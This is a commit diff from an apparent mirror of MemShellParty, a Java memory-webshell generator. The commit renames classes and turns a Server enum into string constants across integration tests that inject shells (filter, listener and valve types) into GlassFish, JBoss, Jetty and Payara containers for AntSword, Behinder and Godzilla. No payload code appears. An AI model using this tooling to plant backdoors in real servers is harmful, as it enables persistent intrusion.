mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: rename
1. 将枚举 Server 改为字符串常量,使得 memshell 和 probeshell 都能共用 2. 移除 memshell 模块直接内置在 generator 中 3. 通用类从 memshell 移动至 javaweb 下,命名修改,增加辨识度
This commit is contained in:
@@ -2,9 +2,9 @@ package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.probe.ProbeContent;
|
||||
import com.reajason.javaweb.probe.ProbeGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeMethod;
|
||||
import com.reajason.javaweb.probe.ProbeResult;
|
||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||
import lombok.SneakyThrows;
|
||||
@@ -35,7 +35,7 @@ public class ProbeAssertion {
|
||||
.server(server)
|
||||
.reqParamName(reqParamName)
|
||||
.build();
|
||||
ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig);
|
||||
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
||||
RequestBody requestBody = new FormBody.Builder()
|
||||
.add("data", probeResult.getShellBytesBase64Str())
|
||||
.add(reqParamName, DetectionTool.getServerDetection())
|
||||
@@ -63,7 +63,7 @@ public class ProbeAssertion {
|
||||
.server(server)
|
||||
.reqHeaderName(headerName)
|
||||
.build();
|
||||
ProbeResult probeResult = ProbeGenerator.generate(probeConfig, responseBodyConfig);
|
||||
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
||||
String content = probeResult.getShellBytesBase64Str();
|
||||
RequestBody requestBody = new FormBody.Builder()
|
||||
.add("data", content)
|
||||
|
||||
@@ -4,7 +4,10 @@ import com.reajason.javaweb.antsword.AntSwordManager;
|
||||
import com.reajason.javaweb.behinder.BehinderManager;
|
||||
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
|
||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||
import com.reajason.javaweb.memshell.*;
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
||||
@@ -46,12 +49,12 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
@Slf4j
|
||||
public class ShellAssertion {
|
||||
|
||||
public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
|
||||
public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
|
||||
shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
|
||||
public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
|
||||
shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
|
||||
}
|
||||
|
||||
@@ -77,7 +80,7 @@ public class ShellAssertion {
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||
public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft();
|
||||
String urlPattern = urls.getRight();
|
||||
@@ -285,7 +288,7 @@ public class ShellAssertion {
|
||||
return shellToolConfig;
|
||||
}
|
||||
|
||||
public static MemShellResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
|
||||
public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
if (StringUtils.isNotBlank(urlPattern)) {
|
||||
injectorConfig.setUrlPattern(urlPattern);
|
||||
|
||||
+6
-6
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -20,7 +20,7 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
public class TestCasesProvider {
|
||||
|
||||
public static Stream<Arguments> getTestCases(String imageName,
|
||||
Server server,
|
||||
String server,
|
||||
List<String> testShellTypes,
|
||||
List<Packers> testPackers,
|
||||
List<Triple<String, ShellTool, Packers>> unSupportedCases) {
|
||||
@@ -28,12 +28,12 @@ public class TestCasesProvider {
|
||||
}
|
||||
|
||||
public static Stream<Arguments> getTestCases(String imageName,
|
||||
Server server,
|
||||
String server,
|
||||
List<String> testShellTypes,
|
||||
List<Packers> testPackers,
|
||||
List<Triple<String, ShellTool, Packers>> unSupportedCases,
|
||||
List<ShellTool> unSupportedShellTools) {
|
||||
Set<ShellTool> supportedShellTools = new TreeSet<>(server.getShell().getSupportedShellTools());
|
||||
Set<ShellTool> supportedShellTools = new TreeSet<>(ServerFactory.getServer(server).getSupportedShellTools());
|
||||
if (unSupportedShellTools != null) {
|
||||
unSupportedShellTools.forEach(supportedShellTools::remove);
|
||||
}
|
||||
@@ -46,7 +46,7 @@ public class TestCasesProvider {
|
||||
return supportedShellTools.stream()
|
||||
.flatMap(supportedShellTool -> {
|
||||
List<String> toolSupportedShellTypes = new ArrayList<>();
|
||||
Set<String> supportedShellTypes = server.getShell().getSupportedShellTypes(supportedShellTool);
|
||||
Set<String> supportedShellTypes = ServerFactory.getServer(server).getSupportedShellTypes(supportedShellTool);
|
||||
for (String testShellType : testShellTypes) {
|
||||
if (supportedShellTypes.contains(testShellType)) {
|
||||
toolSupportedShellTypes.add(testShellType);
|
||||
@@ -81,7 +81,7 @@ public class TestCasesProvider {
|
||||
}
|
||||
|
||||
public static Stream<Arguments> getTestCases(String imageName,
|
||||
Server server,
|
||||
String server,
|
||||
List<String> testShellTypes,
|
||||
List<Packers> testPackers) {
|
||||
return getTestCases(imageName, server, testShellTypes, testPackers, null);
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -57,7 +57,7 @@ public class GlassFish3ContainerTest {
|
||||
}
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.GlassFish;
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -57,7 +57,7 @@ public class GlassFish4ContainerTest {
|
||||
}
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.GlassFish;
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class GlassFish501ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.GlassFish;
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class GlassFish510ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.GlassFish;
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class GlassFish6ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.GlassFish;
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class GlassFish7ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.GlassFish;
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -51,7 +51,7 @@ public class Jboss423ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.JBoss;
|
||||
String server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.PROXY_VALVE
|
||||
);
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jboss510ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.JBoss;
|
||||
String server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jboss610ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.JBoss;
|
||||
String server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -53,7 +53,7 @@ public class Jboss711ContainerTest {
|
||||
* 找不到 Templates 类暂时先不测试反序列化
|
||||
*/
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.JBoss;
|
||||
String server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbosseap;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class JbossEap6ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.JBoss;
|
||||
String server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbosseap;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class JbossEap7ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Undertow;
|
||||
String server = Server.Undertow;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jetty10ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jetty11ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jetty12ee10ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jetty12ee8ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jetty12ee9ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_SERVLET,
|
||||
ShellType.JAKARTA_FILTER,
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jetty61ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jetty75ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jetty76ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jetty81ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -51,7 +51,7 @@ public class Jetty92ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jetty93ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.jetty;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Jetty94ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.Jetty;
|
||||
String server = Server.Jetty;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.JETTY_AGENT_HANDLER
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.payara;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Payara5201ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.GlassFish;
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.payara;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Payara520225ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.GlassFish;
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.integration.memshell.payara;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -50,7 +50,7 @@ public class Payara620222ContainerTest {
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
Server server = Server.GlassFish;
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||
